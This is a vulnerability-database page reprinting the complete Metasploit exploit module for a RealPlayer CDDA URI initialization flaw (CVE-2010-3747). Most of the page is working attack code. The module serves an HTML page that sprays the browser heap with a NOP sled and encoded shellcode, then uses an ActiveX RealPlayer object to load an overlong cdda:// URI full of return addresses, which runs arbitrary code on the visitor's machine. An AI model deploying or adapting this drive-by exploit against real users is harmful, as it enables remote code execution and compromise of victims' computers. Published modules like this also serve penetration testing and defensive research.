RealNetworks RealPlayer CDDA URI Initialization Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
RealNetworks RealPlayer CDDA URI Initialization Vulnerability. An abnormally long CDDA URI causes an object initialization failure. Improperly handled and uninitialized memory execute

                                                ##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;RealNetworks RealPlayer CDDA URI Initialization Vulnerability&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a initialization flaw within RealPlayer 11/11.1 and 
				RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object 
				initialization failure. However, this failure is improperly handled and 
				uninitialized memory executed.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; 
				[
					&#39;bannedit&#39;,
					&#39;sinn3r&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 12009 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-3747&#39; ],
					[ &#39;OSVDB&#39;, &#39;68673&#39;],
					[ &#39;BID&#39;, &#39;44144&#39; ],
					[ &#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-10-210/&#39;],
					[ &#39;URL&#39;, &#39;http://service.real.com/realplayer/security/10152010_player/en/&#39;]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1000,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;RealPlayer SP 1.0 - 1.1.4 Universal&#39;,     { &#39;Ret&#39; =&#62; 0x21212121 } ],
					[ &#39;RealPlayer 11.0 - 11.1 Universal&#39;,        { &#39;Ret&#39; =&#62; 0x21212121 } ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 15 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		mytarget = target

		# the ret slide gets executed via call [esi+45b]
		retslide = [mytarget.ret].pack(&#39;V&#39;) * 750
		cdda_uri = &#34;cdda://&#34; +  retslide

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		nops = make_nops(8)
		nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

		# Randomize Javascript variables
		var_blocks    = rand_text_alpha(rand(6)+3)
		var_shellcode = rand_text_alpha(rand(6)+3)
		var_index     = rand_text_alpha(rand(6)+3)
		var_nopsled   = rand_text_alpha(rand(6)+3)
		spray_func    = rand_text_alpha(rand(6)+3)
		obj_id        = rand_text_alpha(rand(6)+3)
		html = &#60;&#60;-EOS
&#60;html&#62;
&#60;head&#62;
&#60;script&#62;
function #{spray_func}() {
	#{var_blocks} = new Array();
	var #{var_shellcode} = unescape(&#34;#{shellcode}&#34;);
	var #{var_nopsled} = unescape(&#34;#{nop_sled}&#34;);
	do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length &#60; 8200);
		for (#{var_index}=0; #{var_index} &#60; 19000; #{var_index}++)
			#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
	}
#{spray_func}();
&#60;/script&#62;
&#60;/head&#62;
&#60;object id=#{obj_id} classid=&#39;clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA&#39; width=0 height=0&#62;
&#60;param name=&#34;CONTROLS&#34; value=&#34;ControlPanel&#34;&#62;
&#60;param name=&#34;src&#34; value=&#34;#{cdda_uri}&#34;&#62;
&#60;/object&#62;
&#60;script language=&#34;VBScript&#34;&#62;
#{obj_id}.DoPlay
&#60;/script&#62;
&#60;/html&#62;
EOS
		print_status(&#34;Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}&#34;)
		send_response(cli, html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1